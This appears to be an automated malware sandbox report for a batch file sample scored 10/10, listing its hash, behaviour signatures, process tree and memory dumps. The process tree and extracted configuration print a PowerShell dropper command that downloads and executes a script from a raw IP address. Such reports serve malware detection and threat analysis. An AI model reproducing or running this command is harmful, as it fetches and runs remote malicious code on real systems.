Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    102s
  • resource
    win10v191014
  • submitted
    25-12-2019 09:10

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General

  • Target

    phS7sDeA.bat

  • Sample

    191225-l9n5txl4f2

  • SHA256

    0d92c7aceb162dd4ca758f9336c3b8ddcfb23ddf8401d5e0512fc8475dbdf629

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/phS7sDeA

Signatures

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\phS7sDeA.bat"
    1⤵
      PID:4952
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/phS7sDeA');Invoke-SVOKPX;Start-Sleep -s 10000"
        2⤵
          PID:4996
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:5064

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • memory/5064-0-0x0000000004620000-0x0000000004621000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5064-3-0x0000000004E70000-0x0000000004E71000-memory.dmp

        Filesize

        4KB

        Download